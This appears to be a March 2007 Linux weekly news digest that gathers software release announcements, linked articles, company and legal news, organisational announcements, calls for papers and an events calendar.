You can find more new KDE software releases at
kde-apps.org.
Comments (none posted)
The following new Xorg software has been announced this week:
More information can be found on the
X.Org Foundation wiki.
Comments (none posted)
Electronics
Release 3.0.3 of
GNU Radio,
a software programmable radio system, has been announced.
"
This is a bug fix and very minor enhancement update to the stable
branch. All of the relevant bug fixes that have occurred on the main
development trunk have been back ported here."
Full Story (comments: none)
Financial Applications
Version 2.6.25 of
SQL-Ledger, a web-based accounting
system, is out with the following change:
"
removed error and info function customization option".
Comments (none posted)
Claus Fischer has announced the launch of
TXbook.
"
I would like to announce TXbook, a GPL
accounting program for small businesses.
It has successfully done my balance sheet and P&L
for an Austrian small "Limited" (Ges.m.b.H.).
With some work it should serve users in the EU region
well; I don't know enough about the accounting systems
of other areas to make a meaningful statement."
Full Story (comments: none)
Games
Version 0.4.2 of Ember
has been released.
"
Ember is a fully functional 3d client for the WorldForge project. Its meant to be as extensible as possible, to allow for future world builders to adapt it to their worlds or games.
This release updates the authoring tools, adds a dynamic sky and includes a new framework for matching and updating models against server entities." Also, the WFUT tool
has been added to Ember.
Comments (none posted)
Interoperability
The March 5, 2007 edition of the
Wine Weekly Newsletter
is online with coverage of the Wine project. Topics include:
Wine 0.9.32, OpenGL Thread Context Selection Patches,
MSI OLE Automation Improvements, SoC 2007: HTMLHelp and Fedora Core 4 RPMs.
Comments (none posted)
Version 0.9.32 of Wine has been
announced.
Changes include:
"
Many Direct3D fixes and performance improvements,
Several new features in the builtin cmd.exe,
Improvements to HTML help support and lots of bug fixes."
Comments (none posted)
Mail Clients
Version 1.5.0.10 of Mozilla Thunderbird
has been announced.
"
Mozilla Thunderbird 1.5.0.10, a security and stability update has been released. Users of Thunderbird 1.5.0.x will receive an automated update notification within a couple of days. They can also manually upgrade by selecting Check for Updates
from the Help menu."
Comments (none posted)
Music Applications
Version 0.6.0 of hexter is out with several new features.
"
hexter is a software synthesizer that models the sound generation of
a Yamaha DX7 synthesizer. It can easily load most DX7 patch bank
files, accept patch editing commands via MIDI sys-ex messages, and
recreate the sound of the DX7 with greater accuracy than any other
open-source emulation (that the author is aware of...) hexter
operates as a plugin for the Disposable Soft Synth Interface (DSSI)."
Full Story (comments: none)
Version 0.6.1 of Jackbeat, an audio sequencer/drum machine, is out.
Changes include the addition of .wav file output, 64 bit support,
full color VU meters, user interface improvements and bug fixes.
Full Story (comments: none)
Miscellaneous
MozillaZine
notes
the release of SeaMonkey 1.1.1.
"
Following the Gecko security update releases a few days ago, the SeaMonkey project has issued new security and stability releases today for its all-in-one internet application suite. SeaMonkey 1.1.1 is now available for download, fixing several security vulnerabilities, along with a few issues reported on SeaMonkey 1.1. Simultaneously, SeaMonkey 1.0.8, a security update based on the SeaMonkey 1.0 series, was also released."
Comments (none posted)
Languages and Tools
C
The
GCC Interactive Compilation Interface has been launched.
"
We are developing an Interactive Compilation Interface (ICI) for GCC to improve its optimization heuristic, enable iterative fine-grain program optimizations for different constraints (performance, code size, power consumption, DSE, different ISAs, etc) and unify optimization knowledge reuse among different programs and architectures using statistical and machine learning techniques."
Full Story (comments: none)
Caml
The March 6, 2007 edition of the Caml Weekly News
is out with new Caml language articles.
Full Story (comments: none)
Haskell
The March 5, 2007 edition of the
Haskell Weekly News is online. This week sees the release of "Programming in Haskell", by Graham Hutton, along with a wide range of new libraries and applications, including gui programming, terminal interfaces, xml programming, a gameboy emulator, database bindings, and a Haskell compiler shootout.
Comments (none posted)
Java
Elliotte Harold presents
a preview of upcoming Java developments on IBM developerWorks.
"
2006 was another boom year for the Java platform. The Java language retained its title as the world's most used programming language, despite an onslaught of competition from both Microsoft (C#) and the scripting community (Ruby). And, while the release of Java 6 would have been cause enough for celebration, that paled in comparison to the announcement that Java was going to go fully open source under the GNU General Public License. Can the momentum continue in 2007? Let's consider the odds."
Comments (none posted)
Joe Ponczak
discusses Java code coverage in an O'Reilly article.
"
Even with unit tests approaching 100% coverage, critical logic errors could
be hiding in your code. It is impossible to test every possible condition,
but with a little analysis of the potential paths and a plan to test them,
you can be much more confident in the quality of your tests."
Comments (none posted)
Perl
The March 4, 2007 edition of the
Weekly Perl 6 mailing list summary is out with coverage of the latest
Perl 6 developments.
Comments (none posted)
Phil Crow
discusses Perl 6 Parameter Passing on O'Reilly.
"
Perl 6 is not finished, but you can already play with it. I hope this article will encourage you to try it. Begin by installing Pugs, a Perl 6 compiler implemented in Haskell. Note that you will also need Haskell (see directions in the Pugs INSTALL file for how to get it).
Of course, Pugs is not finished. It couldn't be. The Perl 6 design is still in progress. However, Pugs still has many key features that are going to turn our favorite language into something even greater."
Comments (none posted)
PHP
Version 4.4.6 of
PHP is available.
"
The main issue that this release addresses is a crash problem that was introduced in PHP 4.4.5. The problem occurs when session variables are used while register_globals is enabled."
Comments (none posted)
Python
A beta release of Jython,a Java implementation of the Python language,
has been announced.
"
Jython community has announced the release of Jython 2.2's first beta version. This release contains all of the major features for a 2.2 release.
According to the Jython Roadmap, "Jython in its current state is quite fragile... The next Jython 2.x release will build on the cleanup in the last release, and in this release we will be able to consider performance enhancements, CPython frameworks, and other considerations that where shelved for the last release.""
Comments (none posted)
New versions of pylint and astng have been
announced.
"
The PyLint release contains a bunch of bugs fixes, some new checks and command
line changes, and a new checker dedicated to Restricted Python checking. If this
doesn't sound familiar to you, visit the PyPy_ project web site for more
information.
The astng release contains a lot of inference fixes and enhancement, so even if
pylint should still works with the old version you're strongly encouraged to
upgrade."
Comments (none posted)
Ruby
The March 4, 2007 edition of the
Ruby Weekly News looks at the latest discussions
on the ruby-talk mailing list and comp.lang.ruby newsgroup.
Comments (none posted)
Tcl/Tk
The March 1, 2007 edition of the Tcl-URL! is online with new
Tcl/Tk articles and resources.
Full Story (comments: none)
The March 5, 2007 edition of the Tcl-URL! is online with new
Tcl/Tk articles and resources.
Full Story (comments: none)
IDEs
Release 1.2.8 of PyDev, a Python IDE plugin for Eclipse,
is available with many new features and some bug fixes.
The project description says:
"
Features
editor, code completion, refactoring, outline view, debugger, and other
goodies".
Comments (none posted)
Libraries
Version 1.1.4 (stable) of GNU libmatheval
has been announced.
"
GNU libmatheval is a library that makes it possible to calculate mathematical expressions for given variable values and to calculate expression's derivative with respect to a given variable. The library supports arbitrary variable names in expressions, decimal constants, basic unary and binary operators and elementary mathematical functions."
Comments (none posted)
Version 1.9 (stable) of the GNU Scientific Library
has been announced.
"
The GNU Scientific Library (GSL) is a collection of routines for numerical computing. The routines are written from scratch by the GSL team in ANSI C, and present a modern API for C programmers, while allowing wrappers to be written for very high-level languages."
Comments (none posted)
Version Control
Version 0.33 of Monotone, a distributed version control system,
is available. This release has an internal data format change,
lots of new features and more.
Full Story (comments: none)
Page editor: Forrest Cook
Linux in the news
Recommended Reading
LinuxWorld
looks
at where to get laptops without Windows. "
Two leading hardware
vendors, Dell and Lenovo, are quietly selling laptops without preloaded
Microsoft Windows to Linux customers who know where to look, says Lincoln
Durey, CEO of EmperorLinux, an Atlanta reseller that customizes, installs
and supports Linux on the major-brand laptops it sells."
Comments (16 posted)
Linux-Watch
reports
on an effort by the FSF to work with hardware vendors.
"
The Free Software Foundation (FSF) is expanding beyond its software boundaries, and reaching out to hardware vendors to encourage them to "work with the free software community" to establish a "mutually beneficial relationship." It's all spelled out in a just-published whitepaper.
On March 1, the FSF released "The road to hardware free from restrictions," written by Justin Baugh and Ward Vandewege, senior systems administrators for the FSF. In it, they detail ways for major hardware manufacturers to work with free software for the benefit of both."
Comments (23 posted)
ars technica
reports on the second release of OLPC laptops.
"
The One Laptop Per Child (OLPC) project is shipping out another set of prototype XO laptops. Designated BTest-2, this series of beta test units is primarily intended to help testers evaluate improvements to the screen and touchpad. The BTest-2 units, which are in transit to select developers, will also be used to perform early tests on the wireless mesh technology.
According to the release notes, the final release version of OLPC's XO laptop will be faster and more durable than the BTest-2 units and will include several additional features. The release notes also reveal that the BTest-2 units resolve several problems documented during tests conducted on the previous BTest-1 series."
Comments (none posted)
Trade Shows and Conferences
eWeek
looks
at Ruby support in NetBeans. "
While the Eclipse open-source
development community opens its EclipseCon conference, Sun Microsystems and
the NetBeans community have announced an early-access release of the
NetBeans Ruby Pack, which is a plug-in that provides support for the Ruby
programming language. The NetBeans plug-in offers developers added support
for dynamic and scripting languages and includes editing features for both
Ruby and JRuby--an implementation of the Ruby programming language that
runs on the Java Virtual Machine."
Comments (none posted)
LinuxMedNews
covers
the recent Healthcare Information and Management Systems Society conference.
"
This years HIMSS conference in New Orleans is over.
Here's the conference wrap-up:
CCHIT certification is being emphasized.
Interoperability progress is occurring but is still confusing.
Open source has a presence at HIMSS now!
Read more for details."
Comments (none posted)
Companies
Glyn Moody
investigates
the state of pre-installed Linux on Dell computers.
"
Dell is only talking about certifying its corporate client products. Worse, it's only talking about doing that with Novell hardly open source's favourite company at the moment. The justification for not going further is rather unconvincing: We don't want to pick one distribution and alienate users with a preference for another. So, rather than upset supporters of some distros, Dell has decided to be scrupulously fair and to upset supporters of all distros.
It's clear from this statement that Dell is not going to offer systems with pre-installed GNU/Linux any time soon."
Comments (3 posted)
Linux-Watch
analyzes Novell's 2007 first quarter financial results.
"
Despite the unexceptional overall results during the first fiscal quarter 2007, however, Novell reported $15 million of revenue from Linux Platform Products, up 46 percent year-over-year, and $91 million of invoicing, up a whopping 659 percent year-over-year. Linux -- make no doubt about it -- is Novell's future. "
Comments (none posted)
ZDNet
covers
a partnership between Red Hat and Exadel. "
The open-source software
company said that it has established a partnership with Exadel in which
Exadel will open source its Web development tools at JBoss.org, a Red Hat
open-source project site."
Comments (none posted)
Linux Adoption
ZDNet
reports
that California is considering making the OpenDocument Format the required
standard for state agencies. "
Similar to the ODF bills proposed in
Texas and Minnesota, California Assembly bill AB 1668 would require that
state agencies "become equipped to accept all documents in an open,
XML-based file format for office applications, and shall not adopt a file
format used by only one entity.""
Comments (11 posted)
ZDNet UK
reports on a Linux-friendly video service that is being deployed by
the Waverley Borough Council.
"
When the European Commission launched a streaming video service last year which excluded Linux users, large swathes of the open source community became deeply angry. Now, a Surrey local council has shown that open source operating systems can be included in such programmes."
Comments (7 posted)
Linux at Work
electronicsweekly.com
examines the use of Linux for fault-tolerant computing.
"
Choosing the operating system that an organisation uses to run its critical applications also remains a tough decision. Linux is growing in popularity compared with other operating systems and using Linux offers a route for organisations to achieve high availability at a potentially lower cost. As a free operating system, the level of cost would be much lower than other approaches and this is contributing to its growing popularity from a business continuity perspective.
An example of this is that Linux has entered the top three operating systems chart by the volume of servers sold for the first time, according to recent research by IDC."
Comments (none posted)
MySQL AB
reports on the deployment of Linux and the MySQL DBMS by TRUMPF Laser.
"
TRUMPF has selected MySQL to control the pulsating solid-state laser in its TruPulse series of welding tools.
TRUMPF TruPulse lasers are used for welding in the automotive industry, in jewelry-making and in medical technology such as the production of dental braces -- all areas in which the highest level of precision is required.
With MySQL as the central data storage in our new laser control, we attain a clean, stable and easily expandable architecture, said Rainer Thieringer, head of software development at TRUMPF Laser. Moreover, the open source concept fits perfectly with TRUMPFs control philosophy: Every piece of software in the laser control must be validated at the source code level."
Comments (none posted)
Legal
The New York Times has
an
article on MP3 patents. "
Microsoft says it was doing the right
thing: paying a German rights holder $16 million to license the MP3 audio
format, the foundation of the digital music boom. Then an American jury
ruled that Microsoft had failed to pay another MP3 patent holder, and
slapped it with a $1.52 billion judgment. But the MP3 toll gates do not
end there." (Thanks to petelink)
Comments (20 posted)
Interviews
The People Behind KDE has an
interview with Mauricio
Piacentini. "
I am working on the KDE 4 versions of KMahjongg and
KMines, and trying to help with the SVG conversion and art for other
applications in the kdegames module. During the last few months I had a
chance to work a bit (in code and art) with Ian Wadham in KGoldRunner, and
Dmitry Suzdalev in KReversi." (Found on
KDE.News)
Comments (none posted)
Resources
Google Labs has released
a paper [PDF]
that details the failure modes from a large population of hard disk drives.
"
Our analysis identifies several parameters from the drive's self monitoring facility (SMART) that correlate highly with failures. Despite this high correlation, we conclude that models based on SMART parameters alone are unlikely to be useful for predicting individual drive failures. Surprisingly, we found that temperature and activity levels were much less correlated with drive failures than previously reported."
(Thanks to Hale Landis).
Comments (3 posted)
Linux-Watch
looks at the
change in US Daylight Savings time. "
"Spring forward; Fall
back," That's the way the saying goes. Some years I get it backwards, but I
eventually catch on. I've never had to worry about my PCs getting it wrong
before, though. Now, with the recent changes in the Daylight Savings Time
(DST) rules, I do. Fortunately, there are ways to make sure that both my
Linux computers and I get the new rules right."
Comments (26 posted)
The latest issue of the
GNOME
Journal has been published. It features an introduction to GTK+
cross-platform application development, an interview with Jakub Steiner and
Andreas Nilsson about the Tango Project, the first article of a series
about free desktop companies, and a letter from the editor. Writers in
this edition are John D. Ramsdell, Alexandre Prokoudine, Sri Ramkrishna,
and Jim Hodapp, respectively.
Full Story (comments: none)
Dave Phillips
looks
at VST plugins. "
Fully functional support for the VST plugin standard is
one of the most important remaining problems for the Linux audio world. VST
plugins are ubiquitous in the Win/Mac audio worlds, they are employed
extensively in professional and desktop music software, and it may be no
exaggeration to claim that the VST standard has revolutionized
computer-based creation of music and sound. Given its great popularity this
writer believes that stable VST support would give Windows users a
compelling reason to try Linux as an alternate or replacement platform,
especially if they have a sizeable investment of money and experience in
their collection of VST plugins."
Comments (10 posted)
Issue #136 of the
Linux Gazette has been published. Topics include:
Mailbag, Talkback, 2-Cent Tips, NewsBytes, Keymap and IOCTLs, A Report on SCaLE5x, A Beginner's Guide to Dual Booting Linux Mint and Windows XP, Measuring TCP Congestion Windows, The Open Source Hook, Interview: Orv Beach, Publicity Chair/SCaLE (Southern California Linux Expo), HelpDex, The Geekword Puzzle, The Linux Launderette and The LG Backpage.
Comments (none posted)
Baron Schwartz
discusses the use and optimization of DBMS software in the context of
online gaming.
"
Imagine a site that keeps track of gamers' scores in computer games and displays gamers in "leaderboards" ordered by decreasing score. The site is written in PHP and the backend is a MySQL 5 database server. Because the data changes frequently, the server uses the InnoDB storage engine."
Comments (none posted)
Linux Journal
looks
at how Single Packet Authorization fills the gaps in port knocking.
"
Vulnerabilities have been discovered in all sorts of security
software from firewalls to implementations of the Secure Shell (SSH)
Protocol. For example, OpenSSH is developed by some of the most
security-conscious developers in the world, and yet it occasionally
contains a remotely exploitable vulnerability. This is an important fact to
note because it seems to indicate that security is hard to achieve and,
therefore, bolsters the case for a defense-in-depth approach. This article
explores the concept of Single Packet Authorization (SPA) as a
next-generation passive authentication technology beyond port
knocking."
Comments (33 posted)
Reviews
Linux.com
takes a look
at Conary. "
rPath's Conary is a second-generation package
manager. Considering that Erik Troan, rPath's CTO and co-founder, was one
of the original authors of the RPM package format, some might be tempted to
view Conary as an effort to do things right the second time around -- nor
is that view far from wrong. In its design, Conary is a streamlined version
of dpkg or RPM with Yum in which all the utilities of those package
managers are combined in a single command and combined with version control
to meet the demands of a modern distribution."
Comments (none posted)
Linux.com
reviews
Inkscape 0.45.
"
The number one most exciting new feature in Inkscape 0.45 is the addition of the first SVG Filter to the feature set, Gaussian blur. In accordance with the SVG specification, you can now adjust a blur setting for every object in a drawing, just the way you would adjust its fill color, stroke width, or opacity."
Comments (none posted)
KDE.News presents
a comparison
between the Konqueror and Dolphin file managers.
"
Dolphin is a new File Manager for KDE 4 which is dedicated 100% to file management, and is not intended to be a one-size-fits-all tool as Konqueror currently attempts. It is intended to optimize your file management related tasks, and present an easy to use file manager for casual KDE use. That doesn't mean it won't be powerful or configurable, only that Dolphin is being built for a single purpose."
Comments (2 posted)
ZDNet has run
a look at the One Laptop Per Child project by Jeremy Allison. "
But the real genius in the OLPC laptop is in the software. The OLPC is a completely open hardware system. There are no closed proprietary pieces to make support difficult. The software is the same, and it drives much of the needed sophistication in making the limited hardware perform acceptably. This is a system designed for people to learn from."
Comments (4 posted)
Linux.com
reviews
sshguard. "
Are you concerned about brute force dictionary attacks on
SSH? Given the popularity of these attacks, you should be. sshguard is a
new tool to help protect against such attacks. Although it is still in beta
stage, it appears to work well."
Comments (21 posted)
Linux.com
takes a
look at PHP 6.0. "
Andrei Zmievski is one of the leading
developers of the PHP programming language. Since March 2005, he has been
working with about 20 other developers to add Unicode support to version
6.0 of PHP. Now their efforts are nearing an alpha release."
Comments (39 posted)
Miscellaneous
Linux.com
tackles the
issues of paying some people to develop free software. "
What happens
when a free and open source software (FOSS) project attempts to introduce
compensation for its developers? Because FOSS remains based largely on
volunteer work, many worry that payment might demotivate both those who
receive it and those who do not. However, community leaders who have
observed how payment interacts with the FOSS ethos suggest a more
complicated picture. Identifying four main types of payment -- bounties,
payment in kind, grants, and employment -- these experts suggest that what
happens depends on the type of payment, as well as on the individuals
involved."
Comments (1 posted)
Page editor: Forrest Cook
Announcements
Non-Commercial announcements
Work is being done to update the GNOME contributors list.
"
Do you all remember that we list our contributors in About GNOME? The
list of GNOME contributors is probably outdated: many people contributed
a lot of stuff in recent years and are not there. It's a shame to not
thank them, so we have to fix this!
It would be really great if all maintainers could take 10 minutes and
check that all of their main contributors are listed in there."
Full Story (comments: none)
For those who are curious about decision making within the GNOME project:
the minutes from the March 1 GNOME Foundation board are now
available. "
Luis had a meeting with James Vasile of the Software Freedom Law Center,
as one of the GNOME Foundation legal representatives and sent minutes of
the meeting to the board list. We are in the process of signing a client
agreement with the SFLC. James and Luis discussed various issues on
which we might consult with the SFLC, including trademark, code audits,
and patent issues."
Full Story (comments: none)
The GNOME project has announced its participation in the 2007 Google
Summer of Code.
"
GNOME will participate in Summer of Code 2007. We've started to collect
ideas of projects for students. If you can think of a project that would
make a good SoC project, please add it to this page before March 13th."
Full Story (comments: none)
GarageGames.com, Inc. has announced the launch of
GreatGamesExperiment.com,
a social networking site which emphasizes gaming.
"
Getting games made is only half of the problem. Finding an audience
once you have sweat out two or three years of development is extremely
difficult," says Great Games Experiment creator Jeff Tunnell. "Getting
a lot of 'eyeballs' to look at your game is important, and social
networking sites are a method of allowing a community to create its
own content and momentum."
Full Story (comments: none)
KDE.News
has announced
the availability of the
KDE e.V.fourth quarter report [PDF].
"
It covers the board meeting in Darmstadt, the fate of the technical working group and the status of the SQO-OSS research project. As usual there are reports from the working groups, including business cards, a branding meeting, an active HCI group and 27,478 commits. New members and finances are also covered."
Comments (none posted)
Mitchell Baker has posted
an initial version of the Mozilla Foundation statement of direction, describing what the Foundation is trying to do. "
The Mozilla Foundation seeks to effectuate these goals both by building broadly-used products that impact Internet development as a whole, and by empowering people to act in highly decentralized, experimental ways. The work of creating general consumer products that influence broad aspects of Internet development is currently handled through the Mozilla Corporation. The Foundation plans to increase its direct involvement in other activities which enable people to participate in the development and enjoyment of the Internet in a decentralized, self-directed manner."
Comments (14 posted)
Commercial announcements
ACCESS Systems Americas, Inc. has
announced the demonstration of its ACCESS Linux Platform
Development Suite at the EclipseCon 2007 conference.
"
ACCESS recently announced that the Product Development Kit (PDK) for
ACCESS Linux Platform is now available to licensees. The Company has also
launched their Early ACCESS Program for qualified third party developers
interested in being first to market using the ACCESS Linux Platform
Development Suite and Garnet(TM) VM Compatibility Kit."
Comments (none posted)
Novell, Inc. has
announced its first quarter financial results for 2007.
"
For the first fiscal quarter 2007, Novell reported net revenue of $230
million, compared to net revenue of $242 million for the first fiscal
quarter 2006. The loss available to common stockholders from continuing
operations in the first fiscal quarter 2007 was $20 million, or $0.06 loss
per common share. This compares to income available to common stockholders
from continuing operations of $4 million, or $0.01 per diluted common
share, for the first fiscal quarter 2006."
Comments (none posted)
TimeSys has announced the availability of LinuxLink Subscriptions for AMCC 440EPx Processors.
"
The partnership between TimeSys and AMCC allows customers of
AMCC's popular PowerPC-based processors to use LinuxLink to build an
enterprise-ready custom Linux platform. In addition to the new support
for the 440EPx, TimeSys offers LinuxLink subscriptions for many other
AMCC processors, including the 405EP, 405GP, 405GPr, 440EP, 440GP,
440GX, 440SP and 440SPe."
Full Story (comments: none)
TuxMobil is celebrating its 10th anniversary. "
TuxMobil is the
number one online resource providing information about Linux for laptops,
PDAs, cellular phones and portable media players. In short, TuxMobil is
all about Linux and portable devices. The name TuxMobil is a abridgement
of the words Tux and "mobil." Tux is the well known name of the Linux
mascot and "mobil" is a shortcut for mobile."
Full Story (comments: 2)
VMware, Inc. has
announced the release of the public beta version of VMware
ACE 2 enterprise edition.
"
VMware ACE is a breakthrough product that enables
IT desktop managers to create a standard PC environment including operating
system, data and applications, wrap it with IT policies to protect the
contents, package it into a virtual machine and deploy it to any managed or
unmanaged PC endpoint."
Comments (none posted)
Resources
The Free Software Foundation has announced the publication of a paper
entitled "
The
road to hardware free from restrictions; on how hardware companies can
make the free software community happier. "
Hardware vendors could
support the community by providing access under a permissive license to all
the low-level hardware documentation necessary to port a free BIOS to their
systems, and ideally offer engineering support."
Full Story (comments: none)
Calls for Presentations
A call for participation has gone out for the chaos Communication Camp.
"
We ask you to participate in the third Chaos Communication Camp on
August, 8th to 12th, 2007 near Berlin, Germany. The Chaos
Communication Camp is organized by the Chaos Computer Club (CCC). It
is an international, five-day open-air event for hackers and
associated life-forms. The Camp features two conference tracks with
interesting lectures. Workshops will take place in a central workshop
area and in thematic "villages", organized by various groups."
Submissions are due by May 15 with an overflow deadline of June 5.
Full Story (comments: none)
A call for papers and pre-registration announcement has gone out for
LayerOne 2007, a security conference.
The event takes place in Pasadena, CA on May 5-6, 2007, submissions are due
by March 31.
"
Pre-registration is available from
now until the end of April. The pre-registration cost is 80 dollars
(US) and will get you into both days of the conference as well as the
Saturday night entertainment. Tickets will be available at the door,
but the cost will be 100.00 (US)."
Full Story (comments: none)
Upcoming Events
The Free Software Foundation will hold its annual associate member
and activist meeting at MIT, Cambridge, MA on March 24, 2007.
"
Keynote speakers Richard Stallman (FSF president) and Eben Moglen (FSF
director and legal counsel) will each address the "Year of the Upgrade"
theme, looking at what issues will demand the free software movement's
attention after the new version of the GNU General Public License
(GPLv3) is released."
Full Story (comments: none)
Samba eXPerience 2007 will take place in Goettingen, Germany on
April 23-25, 2007.
"
The organizers are happy to welcome Howard Chu (Chief Architect of
OpenLDAP) as the keynote speaker. Talks from the WINE project and
OpenChange show the link to other projects, a talk regarding Samba and
GPLv3 reflects the current legal discussions - and of course developers,
users and vendors cover the program with 25 talks in two days."
Full Story (comments: none)
Events: March 15, 2007 to May 14, 2007
The following event listing is taken from the
LWN.net Calendar.
| Date(s) | Event | Location |
March 12 March 16 |
QCon |
London, England |
March 12 March 16 |
Third Annual Security Enhanced Linux Symposium |
Baltimore, US |
March 14 March 16 |
PHP Quebec Conference |
Montreal, Canada |
March 14 March 17 |
Barbeque Sprint for Plone3 |
Charlotte, North Carolina, USA |
March 15 March 21 |
CeBIT computer fair |
Hannover, Germany |
March 16 March 17 |
MountainWest RubyConf |
Salt Lake City, USA |
March 18 March 23 |
Novell BrainShare 2007 |
Salt Lake City, Utah, USA |
March 19 March 21 |
UKUUG LISA/Spring Conference 2007 |
Manchester, UK |
March 22 March 25 |
Linux Audio Conference |
Berlin, Germany |
March 23 March 25 |
ShmooCon |
Washington DC, USA |
March 23 March 25 |
Guademy |
Coruña, Spain |
| March 24 |
FSF Associate Membership Meeting |
Cambridge, MA, USA |
March 26 March 29 |
Emerging Technology Conference |
San Diego, CA, USA |
April 1 April 4 |
International Lisp Conference 2007 |
Cambridge, England |
April 1 April 5 |
Embedded Systems Conference |
San Jose, CA, USA |
| April 1 |
GPLv3: Improving a Great Licence (discussion draft 3) |
Brussels, Belgium |
April 2 April 6 |
DJango Bootcamp |
Atlanta, Georgia, USA |
April 2 April 5 |
Hack in The Box Security Conference 2007 |
Dubai, United Arab Emirates |
April 3 April 8 |
Make Art 2007 |
Poitiers, France |
April 12 April 14 |
International Free Software Forum (Forum
Internacional Software Livre) |
Porto Alegre, Brazil, |
April 14 April 15 |
Ruby and Python Conference 2007 |
Poznan, Poland |
April 15 April 18 |
Gelato ICE: Itanium® Conference & Expo |
San Jose, California, USA |
April 17 April 19 |
Embedded Linux Conference |
San Jose, USA |
April 18 April 20 |
CanSecWest Applied Security Conference 2007 |
Vancouver, Canada |
| April 19 |
Linux 2007 |
Lisbon, Portugal |
| April 19 |
Power Architecture Software Summit |
Austin, TX, USA |
April 20 April 22 |
International Conference on Availability, Reliability and Security
Conference on Availability, Reliability and Security |
Vienna, Austria, |
April 20 April 22 |
Penguicon 5.0 Open Source Software & Science Fiction Convention |
Troy, Michigan, USA |
| April 21 |
Romanian Open Source Development Meeting |
Bucharest, Romania |
April 23 April 25 |
Samba eXPerience 2007 |
Göttingen, Germany |
April 23 April 27 |
PostgreSQL Bootcamp at the Big Nerd Ranch |
Atlanta, USA |
April 23 April 26 |
MySQL Conference and Expo |
Santa Clara, CA, USA |
April 28 April 29 |
Linuxfest Northwest |
Bellingham, WA, USA |
May 3 May 4 |
Ubuntu Education Summit |
Sevilla, Spain |
May 3 May 5 |
SugarCRM Global Developer Conference |
San Jose, CA, USA |
May 4 May 6 |
Libre Graphics Meeting 2007 |
Montreal, Quebec, Canada |
May 5 May 6 |
LayerOne Security Conference |
Pasadena, CA, USA |
| May 5 |
Ubucon - Sevilla |
Sevilla, Spain |
May 6 May 11 |
Ubuntu Developer Summit |
Sevilla, Spain |
| May 7 |
CommunityOne |
San Francisco, CA, USA |
May 8 May 9 |
World Summit on Intrusion Prevention |
Baltimore, MD, USA |
May 8 May 11 |
Annual Java Technology Conference |
San Francisco, CA, USA |
May 8 May 11 |
OSHCA 2007 |
Kuala Lumpur, Malaysia |
May 9 May 11 |
Red Hat Summit |
San Diego, CA, USA |
May 10 May 11 |
IEEE International Workshop on Open Source Test Technology Tools |
Berkeley, CA, USA |
| May 10 |
NLUUG Spring Conference 2007 |
Ede, The Netherlands |
May 11 May 13 |
Conferenze Italiana sul Software Libero |
Cosenza, Italy |
May 12 May 13 |
KOffice ODF Weekend |
Berlin, Germany |
If your event does not appear here, please
tell us about it.
Page editor: Forrest Cook